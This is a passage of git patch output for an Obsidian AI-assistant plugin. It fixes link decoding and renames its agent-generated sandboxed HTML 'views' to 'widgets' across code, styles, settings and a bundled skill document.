src/genview/viewFrame.ts | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/genview/viewFrame.ts b/src/genview/viewFrame.ts index 4fdd6c64..8c79fbad 100644 --- a/src/genview/viewFrame.ts +++ b/src/genview/viewFrame.ts @@ -182,8 +182,14 @@ export const VIEW_RUNTIME_SCRIPT = ` const explicit = element.getAttribute("data-note"); if (explicit) return explicit; const href = element.tagName === "A" ? element.getAttribute("href") : null; - if (href && !NOT_A_NOTE.test(href.trim())) return decodeURIComponent(href.trim()); - return null; + if (!href || NOT_A_NOTE.test(href.trim())) return null; + // An href may be a raw vault path ("50% off.md") or a percent-encoded one; decode + // only when that is valid, otherwise the raw text is the path. + try { + return decodeURIComponent(href.trim()); + } catch (error) { + return href.trim(); + } }; const noteLinkOf = (target) => { if (!target || !target.closest) return null; From 3d3ff93c99d63291dc2574c6f472a07947baa77a Mon Sep 17 00:00:00 2001 From: Leo310 <leodev310@gmail.com> Date: Thu, 17 Sep 2026 20:56:55 +0200 Subject: [PATCH 11/21] refactor(widgets): rename "view" to "widget" everywhere MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit "View" collided with Obsidian's own vocabulary — reading view, workspace views, and Bases, where every file has "views" in exactly the user-facing sense — and said nothing about what the thing is. "Widget" describes it: a self-contained interactive UI element that renders in place, embeds in notes, and can stand alone in a pane. Nothing had shipped, so the rename is total: the `s2b-widget` fence, the `.widget` file and its view type, the `widgets` core skill, the "Widgets folder" setting, the page-preview hover source, the CSS classes, the bridge tag, the code module and the tests. Obsidian's own "view" terms (FileView, reading view, view types) are untouched. Co-Authored-By: Claude <noreply@anthropic.com> --- src/agent/integrations/pluginIntegrations.ts | 4 +- src/agent/tools/loadSkill.ts | 2 +- src/agent/tools/manageNotes.ts | 16 ++-- src/components/ui/MarkdownRenderer.svelte | 18 ++-- src/main.ts | 30 +++--- .../defaults/{views => widgets}/SKILL.md | 44 ++++----- src/stores/dataStore.svelte.ts | 10 +- src/styles.css | 64 ++++++------- src/types/plugin.ts | 4 +- src/utils/fileFiltering.ts | 8 +- src/views/settings/AgentsSettings.svelte | 14 +-- .../GenView.ts => widget/WidgetView.ts} | 44 +++++---- .../viewEmbed.ts => widget/widgetEmbed.ts} | 45 +++++---- .../WidgetRenderChild.ts} | 64 ++++++------- src/{genview => widget}/rawJs.d.ts | 2 +- .../registerWidgetBlocks.ts} | 75 ++++++++------- src/{genview => widget}/vendoredLibPatches.ts | 12 +-- .../viewFences.ts => widget/widgetFences.ts} | 34 +++---- .../viewFrame.ts => widget/widgetFrame.ts} | 72 +++++++------- .../viewLibs.ts => widget/widgetLibs.ts} | 18 ++-- .../widgetQueries.ts} | 16 ++-- .../viewSpec.ts => widget/widgetSpec.ts} | 24 ++--- test/agent/editNote.test.ts | 2 +- test/skills/bundledSkillsSplit.test.ts | 2 +- .../widgetFences.test.ts} | 40 ++++---- .../widgetFrame.test.ts} | 96 +++++++++---------- .../widgetLibs.test.ts} | 20 ++-- .../widgetQueries.test.ts} | 12 +-- .../widgetSpec.test.ts} | 42 ++++---- vite.config.ts | 10 +- 30 files changed, 429 insertions(+), 415 deletions(-) rename src/skills/defaults/{views => widgets}/SKILL.md (78%) rename src/views/{gen-view/GenView.ts => widget/WidgetView.ts} (76%) rename src/views/{gen-view/viewEmbed.ts => widget/widgetEmbed.ts} (57%) rename src/{genview/ViewRenderChild.ts => widget/WidgetRenderChild.ts} (83%) rename src/{genview => widget}/rawJs.d.ts (74%) rename src/{genview/registerViewBlocks.ts => widget/registerWidgetBlocks.ts} (56%) rename src/{genview => widget}/vendoredLibPatches.ts (89%) rename src/{genview/viewFences.ts => widget/widgetFences.ts} (65%) rename src/{genview/viewFrame.ts => widget/widgetFrame.ts} (87%) rename src/{genview/viewLibs.ts => widget/widgetLibs.ts} (70%) rename src/{genview/viewQueries.ts => widget/widgetQueries.ts} (92%) rename src/{genview/viewSpec.ts => widget/widgetSpec.ts} (89%) rename test/{genview/viewFences.test.ts => widget/widgetFences.test.ts} (53%) rename test/{genview/viewFrame.test.ts => widget/widgetFrame.test.ts} (63%) rename test/{genview/viewLibs.test.ts => widget/widgetLibs.test.ts} (68%) rename test/{genview/viewQueries.test.ts => widget/widgetQueries.test.ts} (86%) rename test/{genview/viewSpec.test.ts => widget/widgetSpec.test.ts} (59%) diff --git a/src/agent/integrations/pluginIntegrations.ts b/src/agent/integrations/pluginIntegrations.ts index 0ef1b2a7..6a8e4d46 100644 --- a/src/agent/integrations/pluginIntegrations.ts +++ b/src/agent/integrations/pluginIntegrations.ts @@ -199,7 +199,7 @@ const BUNDLED_CORE_SKILL_ICONS: Record<string, string> = { "manage-notes": "file-pen", web: "globe", "manage-skills": "wand-2", - views: "layout-dashboard", + widgets: "layout-dashboard", }; /** @@ -207,7 +207,7 @@ const BUNDLED_CORE_SKILL_ICONS: Record<string, string> = { * both the agent editor's Core Skills list and the agents-summary icon strip so the two never * drift. Core-plugin skills (Canvas, Bases, …) are ranked after all of these. */ -const S2B_CORE_SKILL_ORDER = ["explore-vault", "manage-notes", "web", "manage-skills", "views"]; +const S2B_CORE_SKILL_ORDER = ["explore-vault", "manage-notes", "web", "manage-skills", "widgets"]; /** * Sort rank for a core-category skill: listed S2B built-ins first in `S2B_CORE_SKILL_ORDER`, diff --git a/src/agent/tools/loadSkill.ts b/src/agent/tools/loadSkill.ts index 686291e6..fb3ebf75 100644 --- a/src/agent/tools/loadSkill.ts +++ b/src/agent/tools/loadSkill.ts @@ -40,7 +40,7 @@ export interface LoadSkillToolOptions { /** * Live status of a community plugin a skill lists under `metadata.optionalPlugins`. * Appended to the loaded body so a skill whose *best* path depends on another - * plugin (the views skill's Dataview queries) can tell the model up front whether + * plugin (the widgets skill's Dataview queries) can tell the model up front whether * that path exists, instead of letting it find out from a failed result. */ pluginStatus?: (pluginId: string) => { status: CommunityPluginStatus; displayName: string }; diff --git a/src/agent/tools/manageNotes.ts b/src/agent/tools/manageNotes.ts index df3b3551..5d626821 100644 --- a/src/agent/tools/manageNotes.ts +++ b/src/agent/tools/manageNotes.ts @@ -30,8 +30,8 @@ const editSchema = z.object({ .describe("Replace all occurrences instead of requiring a single unique match. Default false."), }); -/** What the agent may create, edit, move and delete: notes, and standalone views (`.view`, see views/gen-view). */ -const AGENT_WRITABLE_EXTENSIONS = [".md", ".view"]; +/** What the agent may create, edit, move and delete: notes, and standalone widgets (`.widget`, see views/widget). */ +const AGENT_WRITABLE_EXTENSIONS = [".md", ".widget"]; const isAgentWritablePath = (path: string): boolean => AGENT_WRITABLE_EXTENSIONS.some((ext) => path.endsWith(ext)); const createOperationSchema = z.object({ @@ -39,11 +39,11 @@ const createOperationSchema = z.object({ path: z .string() .describe( - "Vault-relative path for the new file. Must end in .md (a note) or .view (a standalone view: frontmatter, then HTML). Example: Notes/my-note.md", + "Vault-relative path for the new file. Must end in .md (a note) or .widget (a standalone widget: frontmatter, then HTML). Example: Notes/my-note.md", ), content: z .string() - .describe("Full content for the new file (markdown for a note; a view fence's body for a .view)"), + .describe("Full content for the new file (markdown for a note; a widget fence's body for a .widget)"), }); const REPLACE_PENDING_DESCRIPTION = @@ -75,7 +75,7 @@ const moveOperationSchema = z.object({ path: z.string().describe("Current file path or wiki link reference to move"), newPath: z .string() - .describe("Destination vault-relative path. Must end in .md (a note) or .view (a standalone view)."), + .describe("Destination vault-relative path. Must end in .md (a note) or .widget (a standalone widget)."), }); const replaceOperationSchema = z.object({ @@ -159,7 +159,7 @@ function validateExistingMarkdownFile( const file = result.file; if (!isAgentWritablePath(file.path)) { return { - error: `Error in operation ${operationNumber}: Only notes (.md) and views (.view) can be ${action}d. "${file.path}" is neither.`, + error: `Error in operation ${operationNumber}: Only notes (.md) and widgets (.widget) can be ${action}d. "${file.path}" is neither.`, }; } @@ -521,7 +521,7 @@ async function stageNoteOperations( if (duplicateError) return duplicateError; if (!isAgentWritablePath(normalizedPath)) { - return `Error in operation ${operationNumber}: Only notes (.md) and views (.view) can be created. Got: "${normalizedPath}"`; + return `Error in operation ${operationNumber}: Only notes (.md) and widgets (.widget) can be created. Got: "${normalizedPath}"`; } if (!store.isPathAllowed(normalizedPath)) { @@ -628,7 +628,7 @@ async function stageNoteOperations( const normalizedNewPath = normalizePath(operation.newPath); if (!isAgentWritablePath(normalizedNewPath)) { - return `Error in operation ${operationNumber}: Only notes (.md) and views (.view) can be moved. Got destination "${normalizedNewPath}"`; + return `Error in operation ${operationNumber}: Only notes (.md) and widgets (.widget) can be moved. Got destination "${normalizedNewPath}"`; } const destinationDuplicateError = ensureUniqueTarget(seenPaths, normalizedNewPath, operationNumber); diff --git a/src/components/ui/MarkdownRenderer.svelte b/src/components/ui/MarkdownRenderer.svelte index 117f22bf..753d7770 100644 --- a/src/components/ui/MarkdownRenderer.svelte +++ b/src/components/ui/MarkdownRenderer.svelte @@ -2,7 +2,7 @@ import { Component, Keymap, MarkdownRenderer, loadMathJax } from "obsidian"; import { onDestroy } from "svelte"; import { getPlugin } from "../../stores/state.svelte"; -import { VIEW_READY_EVENT } from "../../genview/viewFrame"; +import { WIDGET_READY_EVENT } from "../../widget/widgetFrame"; import { findSealableEnd } from "../../utils/streamingMarkdown"; import { openTagSearch } from "../../utils/tagSearch"; import { VIEW_TYPE_CHAT } from "../../views/chat/Chat"; @@ -159,14 +159,14 @@ function normalizeLinks(containerEl: HTMLElement) { // thread for the duration of a long reply (#482). The tail's staging element // carries `s2b-md-tail` while it renders, so a block processor can tell "still // being written" (show a placeholder) from "sealed" (render for real) — see -// `genview/registerViewBlocks.ts`. +// `widget/registerWidgetBlocks.ts`. // // Outside streaming — a settled reply's first render, and the moment a streamed // reply settles — the content is rendered as one document, so every construct // resolves exactly as a whole-document parse does (reference definitions, HTML // blocks and loose lists that a seam between segments would cut). That render is // double-buffered: it happens in a hidden wrapper while the previous DOM stays on -// screen, and swaps in once the wrapper's view frames report ready (capped), so +// screen, and swaps in once the wrapper's widget frames report ready (capped), so // settling never blanks a frame that was already showing. The wrapper is then // unwrapped so the container stays flat (call sites style with direct-child // selectors such as `[&>p]`) — unless it holds an iframe, which a DOM move would @@ -175,7 +175,7 @@ function normalizeLinks(containerEl: HTMLElement) { const TAIL_CLASS = "s2b-md-tail"; const DOC_CLASS = "s2b-md-doc"; const DOC_PENDING_CLASS = "s2b-md-doc-pending"; -/** Upper bound on waiting for a settled document's view frames before swapping it in. */ +/** Upper bound on waiting for a settled document's widget frames before swapping it in. */ const VIEW_READY_GRACE_MS = 2000; let latest = { content: "", sourcePath: "", enableMath: true, streaming: false }; @@ -191,7 +191,7 @@ let tailNodes: ChildNode[] = []; let settled = false; /** * Owners of the render children Obsidian's processors attach to rendered blocks - * (Dataview tables, `s2b-view` frames, embeds). Handing the renderer the plugin + * (Dataview tables, `s2b-widget` frames, embeds). Handing the renderer the plugin * itself kept every such child alive until plugin unload; these are unloaded when * the DOM they belong to goes away — the tail's on every tail render, the * document's on reset, swap and destroy. @@ -296,20 +296,20 @@ async function renderDocument(text: string, path: string) { settled = true; } -/** Resolve once every view frame under `root` has reported ready, or after the grace period. */ +/** Resolve once every widget frame under `root` has reported ready, or after the grace period. */ function waitForViews(root: HTMLElement): Promise<void> { - let pending = root.querySelectorAll(".s2b-view-frame:not([data-s2b-view-ready])").length; + let pending = root.querySelectorAll(".s2b-widget-frame:not([data-s2b-widget-ready])").length; if (pending === 0) return Promise.resolve(); return new Promise((resolve) => { const finish = () => { - root.removeEventListener(VIEW_READY_EVENT, onReady); + root.removeEventListener(WIDGET_READY_EVENT, onReady); window.clearTimeout(timer); resolve(); }; const onReady = () => { if (--pending <= 0) finish(); }; - root.addEventListener(VIEW_READY_EVENT, onReady); + root.addEventListener(WIDGET_READY_EVENT, onReady); const timer = window.setTimeout(finish, VIEW_READY_GRACE_MS); }); } diff --git a/src/main.ts b/src/main.ts index abe4083d..1148db65 100755 --- a/src/main.ts +++ b/src/main.ts @@ -29,10 +29,10 @@ import { setPlugin } from "./stores/state.svelte"; import { onCodexSessionChange } from "./stores/providerRuntime.svelte"; import { invalidateAuthState, invalidateProviderState } from "./lib/query"; import { LexicalSearchService } from "./search/LexicalSearchService"; -import { registerViewBlocks } from "./genview/registerViewBlocks"; -import { VIEW_HOVER_SOURCE } from "./genview/ViewRenderChild"; -import { GenView, VIEW_FILE_EXTENSION, VIEW_TYPE_GEN_VIEW } from "./views/gen-view/GenView"; -import { registerViewEmbed, unregisterViewEmbed } from "./views/gen-view/viewEmbed"; +import { registerWidgetBlocks } from "./widget/registerWidgetBlocks"; +import { WIDGET_HOVER_SOURCE } from "./widget/WidgetRenderChild"; +import { WidgetView, WIDGET_FILE_EXTENSION, VIEW_TYPE_WIDGET } from "./views/widget/WidgetView"; +import { registerWidgetEmbed, unregisterWidgetEmbed } from "./views/widget/widgetEmbed"; import { ChatView, VIEW_TYPE_CHAT } from "./views/chat/Chat"; import { navigateToPendingChange } from "./lib/pendingChangeNavigation"; import { registerChatEmbed, unregisterChatEmbed } from "./views/chat/chatEmbed"; @@ -482,13 +482,13 @@ export default class SecondBrainPlugin extends Plugin { // }); // this.registerView(VIEW_TYPE_NOTE_CONTEXT, (leaf) => new NoteContextView(leaf, this)); this.registerView(VIEW_TYPE_ONBOARDING, (leaf) => new OnboardingView(leaf, this)); - // `.view` files: a standalone view as its own leaf, plus `![[x.view]]` embeds and - // hover previews (see views/gen-view/). Torn down in onunload with the chat's. - this.registerView(VIEW_TYPE_GEN_VIEW, (leaf) => new GenView(leaf, this)); - this.registerExtensions([VIEW_FILE_EXTENSION], VIEW_TYPE_GEN_VIEW); - registerViewEmbed(this); - // Note links inside view frames (`data-note`) preview like links in a note. - this.registerHoverLinkSource(VIEW_HOVER_SOURCE, { display: "S2B Views", defaultMod: false }); + // `.widget` files: a standalone widget as its own leaf, plus `![[x.widget]]` embeds and + // hover previews (see views/widget/). Torn down in onunload with the chat's. + this.registerView(VIEW_TYPE_WIDGET, (leaf) => new WidgetView(leaf, this)); + this.registerExtensions([WIDGET_FILE_EXTENSION], VIEW_TYPE_WIDGET); + registerWidgetEmbed(this); + // Note links inside widget frames (`data-note`) preview like links in a note. + this.registerHoverLinkSource(WIDGET_HOVER_SOURCE, { display: "S2B Widgets", defaultMod: false }); if (this.manifest.dir === undefined) { this.unload(); @@ -822,9 +822,9 @@ export default class SecondBrainPlugin extends Plugin { // Register reading view diff highlighting this.registerMarkdownPostProcessor(createReadingViewDiffPostProcessor(this)); - // Render `s2b-view` fences (agent-generated views) as sandboxed frames — in + // Render `s2b-widget` fences (agent-generated widgets) as sandboxed frames — in // chat replies, notes, and embeds alike. - registerViewBlocks(this); + registerWidgetBlocks(this); // Re-render reading views when pending changes update. `rerender(true)` // rebuilds the preview from scratch and Obsidian re-asserts its OWN scroll @@ -889,9 +889,9 @@ export default class SecondBrainPlugin extends Plugin { // during unload. ( this.app as typeof this.app & { viewRegistry?: { unregisterExtensions?: (extensions: string[]) => void } } - ).viewRegistry?.unregisterExtensions?.(["chat", VIEW_FILE_EXTENSION]); + ).viewRegistry?.unregisterExtensions?.(["chat", WIDGET_FILE_EXTENSION]); unregisterChatEmbed(this); - unregisterViewEmbed(this); + unregisterWidgetEmbed(this); } async createNewChat() { diff --git a/src/skills/defaults/views/SKILL.md b/src/skills/defaults/widgets/SKILL.md similarity index 78% rename from src/skills/defaults/views/SKILL.md rename to src/skills/defaults/widgets/SKILL.md index f23b6590..ebf86fdc 100644 --- a/src/skills/defaults/views/SKILL.md +++ b/src/skills/defaults/widgets/SKILL.md @@ -1,6 +1,6 @@ --- -name: views -description: Build interactive views — dashboards, charts, plots, tables, trackers — as self-contained HTML that renders live in the chat and can be saved to the vault as a note. Use when the user asks to visualize, plot, chart, or build an overview or dashboard from vault data, or wants a small interactive widget. Load this for the view block format and its data bridge. +name: widgets +description: Build interactive widgets — dashboards, charts, plots, tables, trackers — as self-contained HTML that renders live in the chat and can be saved to the vault as a note. Use when the user asks to visualize, plot, chart, or build an overview or dashboard from vault data, or wants a small interactive widget. Load this for the widget block format and its data bridge. metadata: author: "S2B" version: "1.0" @@ -8,21 +8,21 @@ metadata: optionalPlugins: "dataview" --- -## What a view is -A view is a `s2b-view` code fence written directly in your reply. Its body is an HTML +## What a widget is +A widget is a `s2b-widget` code fence written directly in your reply. Its body is an HTML fragment — markup, `<style>`, `<script>` — rendered in a sandboxed frame right where you wrote it. An optional frontmatter block at the top declares a title, a fixed height, and named Dataview queries that the host runs for you and keeps live as the vault changes. -The user keeps a view from the toolbar above it: copy it as a block to paste into a -note, or save it as a standalone `.view` file, which opens as its own pane and can be -embedded in any note with `![[Name.view]]`. Do not create that file yourself unless -asked; if the user does ask, stage it with `manage_notes` as `<folder>/<Name>.view` whose +The user keeps a widget from the toolbar above it: copy it as a block to paste into a +note, or save it as a standalone `.widget` file, which opens as its own pane and can be +embedded in any note with `![[Name.widget]]`. Do not create that file yourself unless +asked; if the user does ask, stage it with `manage_notes` as `<folder>/<Name>.widget` whose content is the fence **body** only — frontmatter, then HTML, no fence markers. ## Format ````markdown -```s2b-view +```s2b-widget --- title: Recently modified notes queries: @@ -56,7 +56,7 @@ Frontmatter keys (all optional): `title` (toolbar label and note name when saved `height` (frame height in px; omit to size to content — with it, the layout gets that height and the frame still shrinks if the drawn content is shorter), `queries` (name → Dataview DQL string; use `|` for a multi-line query), `libs` (bundled libraries to load, see -[Plots and 3D](#plots-and-3d)). Body-only views with no frontmatter are fine for +[Plots and 3D](#plots-and-3d)). Body-only widgets with no frontmatter are fine for static content. ## Data @@ -68,12 +68,12 @@ static content. - Links are `{ path, display, subpath }`; dates and durations are ISO strings. - Queries need the Dataview plugin. **Check "Plugin availability" above before writing any.** Only declare `queries` when Dataview is *enabled*. If it is disabled or not - installed, build the view from data you gather with your other tools (`search_notes`, + installed, build the widget from data you gather with your other tools (`search_notes`, `get_properties`, `read_content`, …) inlined as a JSON constant, and tell the user in - one sentence that enabling or installing Dataview would let the view query the vault + one sentence that enabling or installing Dataview would let the widget query the vault itself and stay up to date. Never write a query that you know will fail. - With Dataview enabled, prefer queries over inlined data whenever the data lives in the - vault: queries stay live after the view is saved, a constant goes stale. Inline data + vault: queries stay live after the widget is saved, a constant goes stale. Inline data only for things that are not in the vault (a formula to plot, a worked example). ## Runtime API (inside the frame) @@ -96,7 +96,7 @@ for you. Available trace types: `scatter` (lines, markers, function plots), `bar those yourself and draw with `bar`/`scatter`. ````markdown -```s2b-view +```s2b-widget --- title: z = sin(x) · cos(y) height: 420 @@ -119,9 +119,9 @@ libs: plotly ``` ```` -- Set `height` for Plotly views and give the plot div `height:100%`; Plotly needs a - sized container. Put several plots in **one** view (several divs) rather than one - view per plot: each library-backed view carries its own copy of the library. +- Set `height` for Plotly widgets and give the plot div `height:100%`; Plotly needs a + sized container. Put several plots in **one** widget (several divs) rather than one + widget per plot: each library-backed widget carries its own copy of the library. - Use `paper_bgcolor`/`plot_bgcolor: "transparent"` and the theme's `--text-muted` for fonts so the plot sits on the note like native content. - Without a library, `<svg>` and `<canvas>` (2D and WebGL contexts) work as usual for @@ -129,20 +129,20 @@ libs: plotly ## Rules - The frame has no network and cannot navigate: no CDN scripts, external fonts, - images, `fetch`, links to web pages, or `location` changes — a view that tries is + images, `fetch`, links to web pages, or `location` changes — a widget that tries is stopped. Everything must be inline; libraries come only from `libs`. Keep scripts small and readable. -- Style with Obsidian's CSS variables so the view matches the theme in light and dark: +- Style with Obsidian's CSS variables so the widget matches the theme in light and dark: `--background-primary`, `--background-secondary`, `--background-modifier-border`, `--text-normal`, `--text-muted`, `--text-faint`, `--text-accent`, `--interactive-accent`, `--color-red/orange/yellow/green/cyan/blue/purple/pink`, `--font-interface`, `--font-monospace`, `--font-ui-small`, `--radius-s/m`. The body already uses the - interface font; the card around the view provides the padding, so use none of your own + interface font; the card around the widget provides the padding, so use none of your own at the edges. -- The frame follows its content height — prefer that. Set `height` only when the view +- The frame follows its content height — prefer that. Set `height` only when the widget scrolls internally or sizes children by percentage (Plotly), and then make it the content's real size, not a round guess: a too-large `height` shows as empty space under the content. Canvases and SVGs should carry explicit sizes. -- One screen, not a web app: a view is a dashboard, chart, table, or small widget. +- One screen, not a web app: a widget is a dashboard, chart, table, or small widget. `alert`, `prompt`, and popups are blocked. - Guard empty results (`rows.length === 0`) with a short message instead of a blank frame. diff --git a/src/stores/dataStore.svelte.ts b/src/stores/dataStore.svelte.ts index 3617462c..2a911f6e 100644 --- a/src/stores/dataStore.svelte.ts +++ b/src/stores/dataStore.svelte.ts @@ -213,7 +213,7 @@ export const DEFAULT_SETTINGS: PluginData = { // Chat settings targetFolder: "Chats", attachmentFolder: "", - viewsFolder: "Views", + widgetsFolder: "Widgets", agentFolder: "Agents", agentFolderMigrated: false, coreSkillsSeeded: false, @@ -539,11 +539,11 @@ export class PluginDataStore { void this.saveSettings(); } - get viewsFolder() { - return this.#data.viewsFolder; + get widgetsFolder() { + return this.#data.widgetsFolder; } - set viewsFolder(val: string) { - this.#data.viewsFolder = normalizePath(val || "Views"); + set widgetsFolder(val: string) { + this.#data.widgetsFolder = normalizePath(val || "Widgets"); void this.saveSettings(); } diff --git a/src/styles.css b/src/styles.css index c7484488..c8adcf50 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1658,40 +1658,40 @@ body.is-mobile .tool-output-content pre .clickable-icon { pointer-events: none; } -/* ---- Agent-generated views (`s2b-view` fences, src/genview) ---------------- */ -.s2b-view { +/* ---- Agent-generated widgets (`s2b-widget` fences, src/widget) ---------------- */ +.s2b-widget { position: relative; margin: var(--size-4-2) 0; } -/* ---- A view as its own leaf (views/gen-view) ---- */ -.view-content.s2b-gen-view { +/* ---- A widget as its own leaf (views/widget) ---- */ +.view-content.s2b-widget-view { padding: 0; } -.s2b-gen-view-body { +.s2b-widget-view-body { position: relative; height: 100%; } -/* Invisible stand-in for a hovered note link inside a frame (see ViewRenderChild). */ -.s2b-view-hover-proxy { +/* Invisible stand-in for a hovered note link inside a frame (see WidgetRenderChild). */ +.s2b-widget-hover-proxy { position: absolute; z-index: 1; cursor: pointer; background: transparent; } -.s2b-view-frame.s2b-view-fill { - --s2b-view-border-width: 0px; +.s2b-widget-frame.s2b-widget-fill { + --s2b-widget-border-width: 0px; height: 100%; border: 0; border-radius: 0; } -.s2b-gen-view-source { +.s2b-widget-view-source { display: flex; flex-direction: column; gap: var(--size-4-2); height: 100%; padding: var(--size-4-3); } -.s2b-gen-view-source-text { +.s2b-widget-view-source-text { flex: 1; width: 100%; resize: none; @@ -1699,12 +1699,12 @@ body.is-mobile .tool-output-content pre .clickable-icon { font-size: var(--font-smaller); line-height: 1.5; } -.s2b-gen-view-source-bar { +.s2b-widget-view-source-bar { display: flex; align-items: center; gap: var(--size-4-2); } -.s2b-gen-view-source-hint { +.s2b-widget-view-source-hint { display: flex; align-items: center; gap: var(--size-2-2); @@ -1712,11 +1712,11 @@ body.is-mobile .tool-output-content pre .clickable-icon { color: var(--text-muted); font-size: var(--font-ui-smaller); } -.s2b-gen-view-source-stale { +.s2b-widget-view-source-stale { margin-left: 0; color: var(--text-warning); } -.s2b-view-frame { +.s2b-widget-frame { display: block; /* The host sets this frame's height to content + padding; the border must sit outside that box. With border-box (Tailwind's preflight default) the inner @@ -1726,19 +1726,19 @@ body.is-mobile .tool-output-content pre .clickable-icon { room for it — otherwise the card overflows its column by 2px and the message grows a horizontal scrollbar. */ box-sizing: content-box; - --s2b-view-border-width: 1px; - width: calc(100% - 2 * var(--s2b-view-border-width)); - border: var(--s2b-view-border-width) solid var(--background-modifier-border); + --s2b-widget-border-width: 1px; + width: calc(100% - 2 * var(--s2b-widget-border-width)); + border: var(--s2b-widget-border-width) solid var(--background-modifier-border); border-radius: var(--radius-m); background: var(--background-primary); } -.s2b-view-toolbar { +.s2b-widget-toolbar { display: flex; align-items: center; gap: var(--size-4-1); margin-bottom: var(--size-4-1); } -.s2b-view-toolbar-title { +.s2b-widget-toolbar-title { flex: 1; min-width: 0; overflow: hidden; @@ -1747,7 +1747,7 @@ body.is-mobile .tool-output-content pre .clickable-icon { font-size: var(--font-ui-small); color: var(--text-muted); } -.s2b-view-blocked { +.s2b-widget-blocked { padding: var(--size-4-4); border: 1px dashed var(--text-error); border-radius: var(--radius-m); @@ -1755,9 +1755,9 @@ body.is-mobile .tool-output-content pre .clickable-icon { color: var(--text-error); } /* One blank rounded card lit by the same faint→bright→faint band that sweeps the - thinking-process header, with the label centred in it: "a view is being drawn + thinking-process header, with the label centred in it: "a widget is being drawn here", without implying what kind. */ -.s2b-view-placeholder { +.s2b-widget-placeholder { display: flex; align-items: center; justify-content: center; @@ -1773,9 +1773,9 @@ body.is-mobile .tool-output-content pre .clickable-icon { var(--background-modifier-border) 100% ); background-size: 220% 100%; - animation: s2b-view-sweep 1.8s linear infinite; + animation: s2b-widget-sweep 1.8s linear infinite; } -.s2b-view-placeholder-label { +.s2b-widget-placeholder-label { font-size: var(--font-ui-small); background: linear-gradient( 100deg, @@ -1790,9 +1790,9 @@ body.is-mobile .tool-output-content pre .clickable-icon { -webkit-background-clip: text; color: transparent; -webkit-text-fill-color: transparent; - animation: s2b-view-sweep 1.8s linear infinite; + animation: s2b-widget-sweep 1.8s linear infinite; } -@keyframes s2b-view-sweep { +@keyframes s2b-widget-sweep { 0% { background-position: 130% 0; } @@ -1801,18 +1801,18 @@ body.is-mobile .tool-output-content pre .clickable-icon { } } @media (prefers-reduced-motion: reduce) { - .s2b-view-placeholder { + .s2b-widget-placeholder { animation: none; background: var(--background-modifier-border); } - .s2b-view-placeholder-label { + .s2b-widget-placeholder-label { animation: none; background: none; color: var(--text-muted); -webkit-text-fill-color: var(--text-muted); } } -@keyframes s2b-view-pulse { +@keyframes s2b-widget-pulse { 0%, 100% { opacity: 0.55; @@ -1822,8 +1822,8 @@ body.is-mobile .tool-output-content pre .clickable-icon { } } @media (prefers-reduced-motion: reduce) { - .s2b-view-skeleton-bar, - .s2b-view-placeholder-label { + .s2b-widget-skeleton-bar, + .s2b-widget-placeholder-label { animation: none; } } diff --git a/src/types/plugin.ts b/src/types/plugin.ts index 36770ca4..45511f9f 100644 --- a/src/types/plugin.ts +++ b/src/types/plugin.ts @@ -474,8 +474,8 @@ export interface PluginData { targetFolder: string; attachmentFolder: string; - /** Folder where views generated in chat (`s2b-view` blocks) are saved as notes. */ - viewsFolder: string; + /** Folder where widgets generated in chat (`s2b-widget` blocks) are saved as `.widget` files. */ + widgetsFolder: string; /** * Configurable root vault folder for all agent context (default "Agents"). Holds three * fixed subdirectories: `Memories/` (shared memory notes) and `Skills/` (skill diff --git a/src/utils/fileFiltering.ts b/src/utils/fileFiltering.ts index 5b549bb4..07480a6f 100644 --- a/src/utils/fileFiltering.ts +++ b/src/utils/fileFiltering.ts @@ -1,5 +1,5 @@ import { Platform, type TFile, type Vault } from "obsidian"; -import { stripViewFences } from "../genview/viewFences"; +import { stripWidgetFences } from "../widget/widgetFences"; import { getAgentPathSource } from "./agentPathSource"; import { agentRootDir } from "./agentPaths"; import { THREAD_DATA_DEDUP_VERSION, inflateThreadData, sniffThreadDataVersion } from "../agent/threadDataCodec"; @@ -252,9 +252,9 @@ export function getEmbeddableVaultFiles(vault: Vault): TFile[] { */ export async function readIndexableContent(vault: Vault, file: TFile): Promise<string> { const raw = await readIndexableContentRaw(vault, file); - // A view fence's HTML/JS is noise to retrieval (and would surface as chunks); keep - // only a marker with its title. `.view` files themselves are not indexable at all. - const content = file.extension === "md" ? stripViewFences(raw) : raw; + // A widget fence's HTML/JS is noise to retrieval (and would surface as chunks); keep + // only a marker with its title. `.widget` files themselves are not indexable at all. + const content = file.extension === "md" ? stripWidgetFences(raw) : raw; const cap = maxIndexedTextChars(file); return content.length > cap ? content.slice(0, cap) : content; } diff --git a/src/views/settings/AgentsSettings.svelte b/src/views/settings/AgentsSettings.svelte index ca7e276f..4527de33 100644 --- a/src/views/settings/AgentsSettings.svelte +++ b/src/views/settings/AgentsSettings.svelte @@ -267,21 +267,21 @@ function getAgentSkillsSummary(agentId: string): { icons: string[]; overflow: nu {/if} </SettingGroup> - <SettingGroup heading="Views"> + <SettingGroup heading="Widgets"> <SettingItem - name="Views folder" - desc="Where a view generated in chat is saved when you click its save button." + name="Widgets folder" + desc="Where a widget generated in chat is saved when you click its save button." > <FolderSuggest app={plugin.app} - value={pluginData.viewsFolder} - placeholder="Views" + value={pluginData.widgetsFolder} + placeholder="Widgets" suggestionFn={(query) => suggestFolders().filter((folder) => folder.path.toLowerCase().includes(query.toLowerCase()), )} - onSelected={(path: string) => (pluginData.viewsFolder = path)} - onSubmit={(path: string) => (pluginData.viewsFolder = path)} + onSelected={(path: string) => (pluginData.widgetsFolder = path)} + onSubmit={(path: string) => (pluginData.widgetsFolder = path)} /> </SettingItem> </SettingGroup> diff --git a/src/views/gen-view/GenView.ts b/src/views/widget/WidgetView.ts similarity index 76% rename from src/views/gen-view/GenView.ts rename to src/views/widget/WidgetView.ts index 6605dbd1..a3fdab7a 100644 --- a/src/views/gen-view/GenView.ts +++ b/src/views/widget/WidgetView.ts @@ -1,26 +1,26 @@ import { FileView, Notice, setIcon, type TFile, type WorkspaceLeaf } from "obsidian"; import type SecondBrainPlugin from "../../main"; -import { ViewRenderChild } from "../../genview/ViewRenderChild"; -import { parseViewSpec } from "../../genview/viewSpec"; +import { WidgetRenderChild } from "../../widget/WidgetRenderChild"; +import { parseWidgetSpec } from "../../widget/widgetSpec"; -export const VIEW_TYPE_GEN_VIEW = "smart-second-brain-view"; -/** Extension of a standalone view file. Its content is a view fence's body: optional frontmatter, then HTML. */ -export const VIEW_FILE_EXTENSION = "view"; +export const 